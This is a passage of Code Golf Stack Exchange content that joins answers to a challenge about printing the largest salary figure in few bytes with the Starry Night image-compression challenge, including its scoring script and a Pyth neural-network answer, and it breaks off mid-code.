[CJam](https://sourceforge.net/p/cjam), 5 bytes, $262'144 ``` '$YI# ``` [Try it online!](https://tio.run/##S85KzP3/X10l0lP5/38A "CJam – Try It Online") ### How it works ``` '$ Push '$'. Y Push 2. I Push 18. # Pop 2 and 18 and perform exponentiation, pushing 262144. ``` [Answer] # [R](https://www.r-project.org/), 20 bytes, `$103540.9` ``` T=pi+pi;cat("$",T^T) ``` [Try it online!](https://tio.run/##K/pvmGqmZWQQp6tnbvo/xLYgU7sg0zo5sURDSUVJJyQuRPP/fwA "R – Try It Online") The max for 20 bytes is `$105737.1`, so this is quite close to the salary cap! This would be a nice raise, and if I get paid to do code golf...... [Answer] # [GS2](https://github.com/nooodl/gs2), (5 bytes) $292,929 ``` •$☺↔A ``` A full program (shown here using [code-page 437](https://en.wikipedia.org/wiki/Code_page_437#Character_set)). (Maximum achievable salary @ 5 bytes is $299069.75) **[Try it online!](https://tio.run/##Sy82@v//UcMilUczdj1qm@L4/z8A "GS2 – Try It Online")** Builds upon Dennis's [GS2 answer](https://codegolf.stackexchange.com/a/171179/53748)... ``` •$☺↔A [] •$ - push '$' ['$'] ☺ - push unsigned byte: ↔ - 0x1d = 29 ['$',29] A - push top of stack twice ['$',29,29,29] - implicit print $292929 ``` [Answer] # [Self-modifying Brainfuck](https://soulsphere.org/hacks/smbf/), 16 bytes, $124444 ``` <.<++.+.++..../$ ``` [Try it online!](https://tio.run/##K85NSvv/30bPRltbDwi19YBAX@X/fwA "Self-modifying Brainfuck – Try It Online") [Answer] # [R](https://www.r-project.org/), 21 bytes $99649.9 ``` cat("$",min(lynx^pi)) ``` [Try it online!](https://tio.run/##K/qfnJSZl6JhaGFlZKxjmGqmBWFqxunqmZtq/k9OLNFQUlHSyc3M08ipzKuIK8jU1Pz/HwA "R – Try It Online") A different `R` approach - see also [Giuseppe's answer](https://codegolf.stackexchange.com/a/171171/80010) Very close to the maximum of $101937 for this bytecount. ## Bonus: `object.size()` ### [R](https://www.r-project.org/), 24 bytes $89096 ``` cat("$",object.size(ls)) ``` [Try it online!](https://tio.run/##K/qfnJSZl6JhaGFlZKpjmGqmBWFqxunqmZtq/k9OLNFQUlHSyU/KSk0u0SvOrErVyCnW1Pz/HwA "R – Try It Online") This is probably system-dependent, but when I ra this on TIO I got $89096 - close to the limit of 92223 for 24 bytes. [Answer] # JavaScript (ES6), 19 bytes, $109,839 ``` _=>atob`JDEwOTgzOQ` ``` [Try it online!](https://tio.run/##FcwxDoIwFADQnVP8rW3Ushi3MhhdHCRGdym1hZLaT9oCwcsj7C@vk6OMKtg@HTx@9GLE8haFTFhXt8t1Kl/Nr3xUS55Dj2421jkwGIBsgjKyh6m1qgUbwWMCCV4mO2q4rxfvIpjBq2TRZ5sHARFEAefBGB24CfilEXZA1obUMurTkTCe8JmC9Q0ltfUyzIRlmUIf0WnusKGGMrb8AQ "JavaScript (Node.js) – Try It Online") \$109839\$ is the highest integer \$\le 109884\$ which does not produce any digit when prefixed with **'$'** and encoded in base64. --- # Without `atob()` (Node.js), 26 bytes, $86,126 ``` _=>'$'+Buffer('V~').join`` ``` [Try it online!](https://tio.run/##y0osSyxOLsosKNHNy09J/Z9m@z/e1k5dRV3bqTQtLbVIQz2sTl1TLys/My8h4X9yfl5xfk6qXk5@ukaahqbmfwA "JavaScript (Node.js) – Try It Online") The concatenation of **'$'** with the ASCII codes of **'V'** (86) and **'~'** (126). [Answer] # PHP, $131116 (8 bytes) Didn't see one for php and wanted to throw one up. I know someplace in php is a bad typecast that would cut this in half but I can't find it right now. ``` $<?=ERA; ``` This just takes advantage of PHP short tags and the PHP built in constants. **[Try it online!](https://tio.run/##K8go@P9fxcbe1jXI0fr/fwA)** [Answer] # [GS2](https://github.com/nooodl/gs2), 5 bytes, $291'000 ``` •$☺↔∟ ``` This is a [CP437](https://en.wikipedia.org/wiki/Code_page_437#Character_set) representation of the binary source code. [Try it online!](https://tio.run/##Sy82@v//UcMilUczdj1qm/KoY/7//wA "GS2 – Try It Online") ### How it works ``` •$ Push '$'. ☺↔ Push 29. ∟ Push 1000. ``` [Answer] ## Excel 19 bytes $107899.616068361 ``` ="$"&CODE("(")^PI() ``` **Explanation:** ``` CODE("(") // find ASCII code of ( which is 40 ^PI() // raise to power of Pi (40^3.141592654) "$"& // append $ to the front of it = // set it to the cell value and display ``` [Answer] ## vim, ~~$99999~~ ~~$110000~~ $120000 ``` i$=&pvh*&ur ``` [Try it online!](https://tio.run/##K/v/P1NFyFatoCxDS620iOv/fwA) Uses the expression register (note that there is a <C-r> character, which is invisible in most fonts, between the `$` and `=`, for a total of **13 bytes**) to insert the value of the `'pvh'` option times the value of the `'ur'` option. `'previewheight'` is the option that controls the height of preview windows, which is 12 by default. `'undoreload'` is the maximum number of lines a buffer can have before vim gives up on storing it in memory for undo, and it defaults to 10,000. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~$256000 $256256~~ (6 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page)) $257256 ``` ⁹‘”$;; ``` A full program. (Maximum achievable salary @ 6 bytes is $260847.43) **[Try it online!](https://tio.run/##y0rNyan8//9R485HDTMeNcxVsbb@/x8A "Jelly – Try It Online")** ### How? ``` ⁹‘”$;; - Main Link: no arguments ⁹ - Literal 256 256 ‘ - increment 257 ”$ - single '$' character '$' ; - concatenate ['$',257] ; - concatenate ['$',257,256] - implicit print -> $257256 ``` --- Previous... 5 bytes $256256 ``` ”$;⁹⁺ ``` ('$' concatenate 256, repeat 256 - causing interim implicit printing) 6 bytes $256000: ``` ⁹×ȷṭ”$ ``` (256 × 1000 ṭack '$') [Answer] # C# ## Full program, ~~72 bytes, $40448~~ 66 bytes, $43008 ``` class P{static void Main()=>System.Console.Write("$"+('T'<<'i'));} ``` [Try it online!](https://tio.run/##Sy7WTc4vSv3/PzknsbhYIaC6uCSxJDNZoSw/M0XBNzEzT0PT1i64srgkNVfPOT@vOD8nVS@8KLMkVUNJRUlbQz1E3cZGPVNdU9O69v9/AA "C# (.NET Core) – Try It Online") ### Explanation Left-shift operator treats chars `'T'` and `'i'` as integers 84 and 105 respectively and performs shift ## Lambda, ~~19 bytes, $109568~~ 17 bytes, $118784 ``` o=>"$"+('t'<<'j') ``` [Try it online!](https://tio.run/##JcpLCsIwEADQq4QiJMHPBZJ2I7gTCi5chzHISJyBzEQopWePgqu3eSBH4Jp7E6SnuS2i@R2gJBEzr6JJEcyH8WGuCcn59dIIomj97YP5O6Wx8zgNu2HvrNoY7cv6Hs5MwiWf7hU1u@SoleJ92Lb@BQ "C# (.NET Core) – Try It Online") **Edit** Thanks to @LegionMammal978 and @Kevin for saving 2 bytes [Answer] # PHP, 13 Bytes, $144000 Salary Unfortunately for this job, moving to Mauritius is required (well, I could move slightly less far eastward, however every timezone less would yield at $36k drop in salary.) To compensate for the inconvenience, my salary increases by $1 every leap year. ``` $<?=date(ZL); ``` This just puts out `Z` the timezone in seconds and appends whether or not it's a leap year. [Answer] # [brainfuck](https://esolangs.org/wiki/Brainfuck), 43 bytes, $58888 ``` ++++++[>++++++<-]>.<++++[>++++<-]>+.+++.... ``` [Try it online!](https://tio.run/##SypKzMxLK03O/v9fGwyi7SC0jW6snZ4NQgTE19YDMvSA4P9/AA "brainfuck – Try It Online") ### How it works ``` ++++++[>++++++<-]>. write 36 to cell one and print (36 is ASCII for $) <++++[>++++<-]>+. add 17 to cell 1 and print (cell 1 is now 53, ASCII for 5) +++.... add 3 to cell 1 and print 4 times (cell 1 is now 56, ASCII for 8) ``` [Answer] # [Python 3](https://docs.python.org/3/), (22 bytes) $ 98,442 ``` print('$',ord('𘂊')) ``` **[Try it online!](https://tio.run/##K6gsycjPM/7/v6AoM69EQ11FXSe/KEVD/cOMpi51Tc3//wE "Python 3 – Try It Online")** Much like Doorknob's [Ruby answer](https://codegolf.stackexchange.com/a/171180/53748), the 4 byte Unicode character used here, `𘂊`, has an ordinal value of the maximal integer salary achievable in 22 bytes. Note that `print()` prints its unnamed arguments separated by spaces by default (`sep` is an optional named argument). [Answer] # [Gol><>](https://github.com/Sp3000/Golfish), $207680 in 8 bytes ``` 'o**n; $ ``` [Try it online!](https://tio.run/##S8/PScsszvj/Xz1fSyvPWkHl/38A "Gol><> – Try It Online") ### How it works: ``` ' Start string interpretation. Pushes the ASCII value of every character until it wraps back around to this character o Output the top stack value as ASCII. This is the $ at the end of the code ** Multiply the top 3 stack values (This is the ASCII of 'n; ', 110*59*32 n Output top of stack as integer. ; Terminate program $ (Not run, used for printing the $) ``` Interestingly enough, you can use `h` instead of `n;`, which yields `'o**h5$` with a score of $231504, but you can't use 0-9, and there isn't another 1-byte way to push 53, the ASCII value of `5` [Answer] # Mathematica, 18 bytes, $107,163.49 ``` $~Print~N[E^(E!E)] ``` Full program; run using `MathematicaScipt -script`. Outputs `$107163.4882807548` followed by a trailing newline. I have verified that this is the highest-scoring solution of the form `$~Print~N[*expr*]` where `*expr*` is comprised of `Pi`, `E`, `I`, and `+-* /()!`. [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E) (5 bytes), $262626 ``` '$₂ÐJ ``` [Try it online!](https://tio.run/##yy9OTMpM/f9fXeVRU9PhCV7//wMA "05AB1E – Try It Online") \$262626 < 299069\$. Pushes the character `$` to the stack, then pushes the integer \$26\$. From here, the program triplicates the integer, leaving the stack as `["$", 26, 26, 26]` and joins (`J`) the stack. [Answer] # [JavaScript (Node.js)](https://nodejs.org), 23 bytes, $65535 ``` _=>"$"+ +(~~[]+`xFFFF`) ``` [Try it online!](https://tio.run/##y0osSyxOLsosKNHNy09J/Z9m@z/e1k5JRUlbQVujri46Vjuhwg0IEjT/Wyfn5xXn56Tq5eSna6RpaOooGKaaaWkoKWmnaerlpOall2RoaenqmZtq/gcA "JavaScript (Node.js) – Try It Online") This is the best I can get without `atob`, though there is a large improvement space tbh You know, having no short character to ascii conversion function sucks A LOT. ***AFTER A WHOLE DAY*** # [JavaScript (Node.js)](https://nodejs.org), 30 bytes, $78011 ``` _=>"$"+`𓂻`.codePointAt(![]) ``` [Try it online!](https://tio.run/##y0osSyxOLsosKNHNy09J/Z9m@z/e1k5JRUk74cPkpt0JeslA0YD8zLwSxxINxehYzf/J@XnF@Tmpejn56RppGpqa/wE "JavaScript (Node.js) – Try It Online") ## or: 29 bytes, $80020 ``` _=>"$"+`򀀠`.codePointAt(!_) ``` Where `򀀠` is `U+13894 INVALID CHARACTER` Oh `String.codePointAt`! I've just completely forgotten this! ## A joke one (15B, $130000), not vaild at all but just for fun ``` _=>"$十三萬" ``` [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 8 bytes, $210176.48625619375 ``` ⁽½"×½”$, ``` 3535 (`⁽½"`) multipli(`×`)ed by its sqrt (`½`). [Try it online!](https://tio.run/##y0rNyan8//9R495De5UOTz@091HDXBWd//8B "Jelly – Try It Online") [Answer] # Perl 5.26.2, 12 bytes, $146002 ``` say$]^"\x11\x0e\x01\x06" ``` Hex escapes only shown because ASCII control chars are filtered out. [Try it online!](https://tio.run/##K0gtyjH9/784sVIlNk5dkI@RTf3//3/5BSWZ@XnF/3V9TfUMDA0A "Perl 5 – Try It Online") You can get a bit more with different Perl versions, for example $155012 with 5.25.12. [Answer] ## MATLAB, 17 bytes, $112222 ``` ['$','..////'+pi] ``` Old answer: ``` ['$','RRUUTR'-'!'] ``` [Answer] # [brainfuck](https://github.com/TryItOnline/brainfuck), 34 bytes, $69999 ``` +[->-[---<]>-]>.[-->+++<]>.+++.... ``` [Try it online!](https://tio.run/##SypKzMxLK03O/v9fO1rXTjdaV1fXJtZON9ZOD8i009bWBvL0gJQeEPz/DwA "brainfuck – Try It Online") ### Explanation: ``` +[->-[---<]>-]>. Generate and print 36 ($) [-->+++<]> Divide by 2 and multiply by 3 to get 54 (6) . Print 6 +++.... Print 9999 ``` [Answer] ## Ruby, $119443 ``` $><<?$<<?𝊓.ord ``` [Try it online!](https://tio.run/##KypNqvz/X8XOxsZeBYg/zO2arJdflPL/PwA) The maximum integer output for 17 bytes. The Unicode character is U+1D293, which is 119443 in hex. [Answer] # [MathGolf](https://github.com/maxbergmark/mathgolf), $353535 (4 bytes) ``` '$W∙ ``` [Try it online!](https://tio.run/##y00syUjPz0n7/19dJfxRx8z//wE "MathGolf – Try It Online") ## Explanation ``` '$ Push "$" W Push 35 ∙ Triplicate top of stack ``` ## Disclaimer This language was created after the posting of this question. While the language is a general language, it is designed with numerical questions in mind. It contains a lot of 1-byte number literals, and other nifty things for number-related questions. It is still a work in progress. [Answer] # [dc](https://www.gnu.org/software/bc/manual/dc-1.05/html_mono/dc.html), $169169 10 bytes ``` Dd*d[$]nnn ``` [Try it online!](https://tio.run/##S0n@/98lRSslWiU2Ly/v/38A "dc – Try It Online") This prints 13 (`D`) squared, twice [Answer] # Japt, 5 bytes, $262144 ``` '$+I³ ``` [Test it](https://ethproductions.github.io/japt/?v=1.4.6&code=JyQrSbM=) --- Explanation `I` is the Japt constant for `64`, `³` cubes it and then `'$+` concatenates that with the dollar symbol. ]
[Question] [ **Note**: a 1000 point bounty is still available for this challenge, which I will create and award if anyone takes the top score without using built-in compression. Below is a `386x320` png representation of van Gogh's Starry Night. [![enter image description here](https://i.stack.imgur.com/JZDYN.png)](https://i.stack.imgur.com/JZDYN.png) Your goal is to reproduce this image as closely as possible, in no more than 1024 bytes of code. For the purposes of this challenge, the closeness of images is measured by the squared differences in RGB pixel values, as explained below. This is [code-challenge](/questions/tagged/code-challenge "show questions tagged 'code-challenge'"). Scores are calculated using the validation script below. The lowest score wins. Your code must obey the following restrictions: * It must be a complete program * It must output an image in a format that can be read by the validation script below, running on my machine. The script uses Python's PIL library, which can load [a wide variety of file formats](http://pillow.readthedocs.org/en/3.0.x/handbook/image-file-formats.html), including png, jpg and bmp. * It must be completely self-contained, taking no input and loading no files (other than importing libraries, which is allowed) * If your language or library includes a function that outputs Starry Night, you are not allowed to use that function. * It should run deterministically, producing the same output every time. * The dimensions of the output image must be `386x320` * For the avoidance of doubt: valid answers must use programming languages as per [the usual PPCG rules](https://codegolf.meta.stackexchange.com/questions/2028/what-are-programming-languages?lq=1). It must be a program that outputs an image, not just an image file. It is likely that some submissions will themselves be generated by code. If this is the case, **please include in your answer the code that was used to produce your submission**, and explain how it works. The above restrictions only apply to the 1kB image-generating program that you submit; they don't apply to any code used to generate it. ## Scoring To calculate your score, take your output image and the original above and convert the RGB pixel values to floating point numbers ranging from 0 to 1. The score of a pixel is `(orig_r-img_r)^2 +(orig_g-img_g)^2 + (orig_b-img_b)^2`, i.e. the squared distance in RGB space between the two images. The score of an image is the sum of the scores of its pixels. Below is a Python script that performs this calculation - in the case of any inconsistency or ambiguity, the definitive score is the one calculated by that script running on my machine. Note that the score is calculated based on the output image, so if you use a lossy format that will affect the score. The lower the score the better. The original Starry Night image would have a score of 0. In the astronomically unlikely event of a tie, the answer with the most votes will determine the winner. ## Bonus objectives Because the answers were dominated by solutions using built-in compression, I awarded a series of bounties to answers that use other techniques. The next one will be a bounty of **1000 points**, to be awarded if and when an answer that does not use built-in compression takes the top place overall. The previously awarded bonus bounties were as follows: * A 100 point bounty was awarded to [nneonneo's answer](https://codegolf.stackexchange.com/a/70339/21034), for being the highest-scoring answer that did not use built-in compression at the time. It had 4852.87 points at the time it was awarded. Honourable mentions go to 2012rcampion, who made a valiant attempt to beat nneonneo using [an approach based on Voronoi tesselation](https://codegolf.stackexchange.com/a/70759/11949), scoring 5076 points, and to Sleafar, whose [answer](https://codegolf.stackexchange.com/a/70738/21034) was in the lead until near the end, with 5052 points, using a similar method to nneonneo. * A 200 point bounty was awarded to [Strawdog's entry](https://codegolf.stackexchange.com/a/75866/21034). This was awarded for being an optimization-based strategy that took the lead among non-built-in-compression answers and held it for a week. It scored 4749.88 points using an impressively clever method. ## Scoring/validation script The following Python script should be placed in the same folder as the image above (which should be named `ORIGINAL.png`) and run using a command of the form `python validate.py myImage.png`. ``` from PIL import Image import sys orig = Image.open("ORIGINAL.png") img = Image.open(sys.argv[1]) if img.size != orig.size: print("NOT VALID: image dimensions do not match the original") exit() w, h = img.size orig = orig.convert("RGB") img = img.convert("RGB") orig_pix = orig.load() img_pix = img.load() score = 0 for x in range(w): for y in range(h): orig_r, orig_g, orig_b = orig_pix[x,y] img_r, img_g, img_b = img_pix[x,y] score += (img_r-orig_r)**2 score += (img_g-orig_g)**2 score += (img_b-orig_b)**2 print(score/255.**2) ``` **Technical note:** Objective measures of image similarity are a tricky thing. In this case I've opted for one that's easy for anyone to implement, in full knowledge that much better measures exist. ## Leaderboard ``` var QUESTION_ID=69930,OVERRIDE_USER=21034;function answersUrl(e){return"https://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(e,s){return"https://api.stackexchange.com/2.2/answers/"+s.join(";")+"/comments?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r="<h1>"+e.body.replace(OVERRIDE_REG,"")+"</h1>")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],link:s.share_link})}),e.sort(function(e,s){var r=e.size,a=s.size;return r-a});var s={},r=1,a=null,n=1;e.forEach(function(e){e.size!=a&&(n=r),a=e.size,++r;var t=jQuery("#answer-template").html();t=t.replace("{{PLACE}}",n+".").replace("{{NAME}}",e.user).replace("{{LANGUAGE}}",e.language).replace("{{SIZE}}",e.size).replace("{{LINK}}",e.link),t=jQuery(t),jQuery("#answers").append(t);var o=e.language;/<a/.test(o)&&(o=jQuery(o).text()),s[o]=s[o]||{lang:e.language,user:e.user,size:e.size,link:e.link}});var t=[];for(var o in s)s.hasOwnProperty(o)&&t.push(s[o]);t.sort(function(e,s){return e.lang>s.lang?1:e.lang<s.lang?-1:0});for(var c=0;c<t.length;++c){var i=jQuery("#language-template").html(),o=t[c];i=i.replace("{{LANGUAGE}}",o.lang).replace("{{NAME}}",o.user).replace("{{SIZE}}",o.size).replace("{{LINK}}",o.link),i=jQuery(i),jQuery("#languages").append(i)}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;getAnswers();var SCORE_REG=/<h\d>\s*([^\n,]*[^\s,]),.*?(\d+(?:\.\d+))(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/,OVERRIDE_REG=/^Override\s*header:\s*/i; ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;width:400px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Score</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> ``` [Answer] # [Pyth](https://github.com/isaacg1/pyth) (no built-in compression), score ~~4695.07~~ ~~4656.03~~ 4444.82 Pyth’s only image-related functionality is a builtin to write a matrix of RGB triples as an image file. So the crazy idea here is to train a small **deep neural network** on the (*x*, *y*) ↦ (*r*, *g*, *b*) function representing the image, and run it on the coordinates of each pixel. ### The plan 1. Write a custom backpropagation loop in C++. 2. Curse at how slow it is. 3. Learn Tensorflow. 4. Build a new desktop with a sick GPU using Black Friday deals. 5. Scour the literature for ways to compress neural networks, and do that. 6. Scour the literature for ways to avoid overfitting neural networks, and do the opposite of that. The current network is built from 45 sigmoid neurons, with each neuron connected to the *x*, *y* inputs and to every previous neuron, and the last three neurons interpreted as *r*, *g*, *b*. It’s trained using the [Adam](https://arxiv.org/abs/1412.6980) algorithm without batching. The parameters weighting the 1125 connections are quantized to a range of 93 possible values (except the constant terms, which have 932 possible values) using a variant of [stochastic quantization](https://arxiv.org/abs/1708.01001), the primary variation being that we set the gradient for quantized parameters to zero. ### The result [![output](https://i.stack.imgur.com/DctOO.png)](https://i.stack.imgur.com/DctOO.png) ### The code 1023 bytes, encoded with `xxd` (decode with `xxd -r`). I used the [2016-01-22 version of Pyth](https://github.com/isaacg1/pyth/commit/8752181ac426d9d4e224891fbb4a8021051e33bb) that was current when this challenge was released. You can run the code directly in Pyth, but Pyth in [PyPy3](https://pypy.org/download.html) (`pypy3 pyth starry.pyth`) runs it nine times faster, in about 3 minutes. The output image is written to `o.png`. ``` 00000000: 4b6a 4322 05d4 7bb1 06f8 6149 da66 28e3 KjC"..{...aI.f(. 00000010: 8d17 92de a833 9b70 f937 9fc6 a74e 544d .....3.p.7...NTM 00000020: 1388 e4e5 1d7e 9432 fe38 1313 3c34 0c54 .....~.2.8..<4.T 00000030: 89fe 553b 83a3 84bb 08c8 09fe 72be 3597 ..U;........r.5. 00000040: b799 34f8 8809 4868 feb8 acde 2e69 34e6 ..4...Hh.....i4. 00000050: 1c1a c49a 27f0 f06a 3b27 0564 178a 1718 ....'..j;'.d.... 00000060: 1440 e658 e06a c46d aa81 ac3f c4b7 8262 [[email protected]](/cdn-cgi/l/email-protection)...?...b 00000070: 398a 39e3 c9b7 6f71 e2ab 37e0 7566 9997 9.9...oq..7.uf.. 00000080: 54eb eb95 0076 0adf 103c f34c 0b4e e528 T....v...<.L.N.( 00000090: a2df 6b4a 7a02 011a 10a9 2cf0 2edc 9f6f ..kJz.....,....o 000000a0: 33f3 5c96 9e83 fadb a2fa 80fc 5179 3906 3.\.........Qy9. 000000b0: 9596 4960 8997 7225 edb1 9db5 435e fdd8 ..I`..r%....C^.. 000000c0: 08a6 112f 32de c1a5 3db8 160f b729 649a .../2...=....)d. 000000d0: 51fa 08e8 dcfa 11e0 b763 61e6 02b3 5dbb Q........ca...]. 000000e0: 6e64 be69 3939 b5b2 d196 5b85 7991 bda5 nd.i99....[.y... 000000f0: 087a f3c0 6b76 b1d0 bb29 f7a4 29a3 e21a .z..kv...)..)... 00000100: 3b1b 97ae 1d1b 1e0f f3c7 9759 2458 c2db ;..........Y$X.. 00000110: 386f 5fbb a166 9f27 2910 a1b5 cfcc d8db 8o_..f.')....... 00000120: afaf bdb4 573d efb1 399b e160 6acf e14b ....W=..9..`j..K 00000130: 4c6b 957a 245a 6f87 63c7 737d 6218 6ab2 Lk.z$Zo.c.s}b.j. 00000140: e388 a0b3 2007 1ddf b55c 7266 4333 f3a2 .... ....\rfC3.. 00000150: d58f d80b a3a6 c6c1 d474 58f3 274b 6d32 .........tX.'Km2 00000160: 9d72 b674 7cc4 fdf6 6b86 fb45 1219 cc5c .r.t|...k..E...\ 00000170: 7244 396d 1411 d734 a796 ff54 cf1f 119d rD9m...4...T.... 00000180: 91af 5eab 9aad 4300 1dae d42e 13f8 62a1 ..^...C.......b. 00000190: a894 ab0b 9cb1 5ee2 bb63 1fff 3721 2328 ......^..c..7!#( 000001a0: 7609 34f5 fcfe f486 46e9 dfa8 9885 4dac v.4.....F.....M. 000001b0: f464 3666 e8b9 cd82 1159 8434 95e8 5901 .d6f.....Y.4..Y. 000001c0: f0f5 426c ef53 6c7e ad28 60f6 8dd8 edaa ..Bl.Sl~.(`..... 000001d0: 8784 a966 81b6 dc3a e0ea d5bf 7f15 683e ...f...:......h> 000001e0: 93f2 23ae 0845 c218 6bdc f47c 08e8 41c2 ..#..E..k..|..A. 000001f0: 950e f309 d1de 0b64 5868 924e 933e 7ab8 .......dXh.N.>z. 00000200: dab7 8efb b53a 5413 c64b 48e6 fc4d 26fe .....:T..KH..M&. 00000210: 594a 7d6b 2dd0 914e 6947 afa7 614d b605 YJ}k-..NiG..aM.. 00000220: 8737 554e 31bc b21c 3673 76bf fb98 94f8 .7UN1...6sv..... 00000230: 1a7d 0030 3035 2ce6 c302 f6c2 5434 5f74 .}.005,.....T4_t 00000240: c692 349a a33e b327 425c 22e8 8735 37e1 ..4..>.'B\"..57. 00000250: 942a 2170 ef10 ff42 b629 e572 cd0f ca4f .*!p...B.).r...O 00000260: 5d52 247d 3e62 6d9a d71a 8b01 4826 d54b ]R$}>bm.....H&.K 00000270: f26f fe8e d33d efb5 30a8 54fb d50a 8f44 .o...=..0.T....D 00000280: a3ac 170a b9a0 e436 50d5 0589 6fda 674a .......6P...o.gJ 00000290: 26fb 5cf6 27ef 714e fe74 64fa d487 afea &.\.'.qN.td..... 000002a0: 09f7 e1f1 21b6 38eb 54cd c736 2afa d031 ....!.8.T..6*..1 000002b0: 853c 8890 8cc0 7fab 5f15 91d5 de6e 460f .<......_....nF. 000002c0: 4b95 6a4d 02e4 7824 1bbe ae36 5e6c 0acd K.jM..x$...6^l.. 000002d0: 0603 b86c f9fd a299 480f 4123 627e 951f ...l....H.A#b~.. 000002e0: a678 3510 912c 26a6 2efc f943 af96 53cd .x5..,&....C..S. 000002f0: 3f6c 435c cbae 832f 316c e90e 01e7 8fd6 ?lC\.../1l...... 00000300: 3e6d d7b4 fffb cd4a 69c7 5f23 2fe7 bf52 >m.....Ji._#/..R 00000310: 3632 3990 17ed 045a b543 8b79 8231 bc9b 629....Z.C.y.1.. 00000320: 4452 0f10 b342 3e41 6e70 187c 9cb2 7eb5 DR...B>Anp.|..~. 00000330: cdff 5c22 9e34 618f b372 8acf 4172 a220 ..\".4a..r..Ar. 00000340: 0136 3eff 2702 dc5d b946 076d e5fd 6045 .6>.'..].F.m..`E 00000350: 8465 661a 1c6e b6c8 595f 6091 daf2 103b .ef..n..Y_`....; 00000360: 23ab 343a 2e47 95cf 4218 7bf5 8a46 0a69 #.4:.G..B.{..F.i 00000370: dabb 4b8d 7f9b b0c1 23b1 c917 839c 358c ..K.....#.....5. 00000380: b33c de51 e41c e84d 12bf 8379 f4c5 65fa .<.Q...M...y..e. 00000390: 0b65 7fe7 e1a0 fb0e 30f4 a7d2 b323 3400 .e......0....#4. 000003a0: 15e8 8a48 5d42 9a70 3979 7bba abf5 4b80 ...H]B.p9y{...K. 000003b0: b239 4ceb d301 89f8 9f4d 5ce6 8caa 2a74 .9L......M\...*t 000003c0: ca1b 9d3f f934 0622 3933 2e77 6d6d 2b4a ...?.4."93.wmm+J 000003d0: 4b73 4d3e 332e 574a 615a 6332 3536 685e KsM>3.WJaZc256h^ 000003e0: 3463 732a 4c2d 3436 2e29 4a5a 3138 3739 4cs*L-46.)JZ1879 000003f0: 5b32 3739 6b33 6429 3338 3620 3332 30 [279k3d)386 320 ``` ### How it works ``` KjC"…"93 C"…" convert the long binary string to an integer in base 256 j 93 list its base 93 digits K assign to K .wmm+JKsM>3.WJaZc256h^4cs*L-46.)JZ1879[279k3d)386 320 m 320 map for d in [0, …, 319]: m 386 map for k in [0, …, 385] JK copy K to J [279k3d) initialize value to [3*93, k, 3, d] .WJ while J is nonempty, replace value with *L Z map over value, multiplying by .)J pop back of J -46 subtract from 46 s sum c 1879 divide by 1879 ^4 exponentiate with base 4 h add 1 c256 256 divided by that aZ append to value >3 last three elements of the final value sM floor to integers .w write that matrix of RGB triples as image o.png ``` ### Training During my final training run, I used a much slower quantization schedule and did some interactive fiddling with that and the learning rate, but the code I used was roughly as follows. ``` from __future__ import division, print_function import sys import numpy as np import tensorflow as tf NEURONS, SCALE_BASE, SCALE_DIV, BASE, MID = 48, 8, 3364, 111, 55 def idx(n): return n * (n - 1) // 2 - 3 WEIGHTS = idx(NEURONS) SCALE = SCALE_DIV / np.log(SCALE_BASE) W_MIN, W_MAX = -MID, BASE - 1 - MID sess = tf.Session() with open('ORIGINAL.png', 'rb') as f: img = sess.run(tf.image.decode_image(f.read(), channels=3)) y_grid, x_grid = np.mgrid[0:img.shape[0], 0:img.shape[1]] x = tf.constant(x_grid.reshape([-1]).astype(np.float32)) y = tf.constant(y_grid.reshape([-1]).astype(np.float32)) color_ = tf.constant(img.reshape([-1, 3]).astype(np.float32)) w_real = tf.Variable( np.random.uniform(-16, 16, [WEIGHTS]).astype(np.float32), constraint=lambda w: tf.clip_by_value(w, W_MIN, W_MAX)) quantization = tf.placeholder(tf.float32, shape=[]) w_int = tf.round(w_real) qrate = 1 / (tf.abs(w_real - w_int) + 1e-6) qscale = 0 for _ in range(16): v = tf.exp(-qscale * qrate) 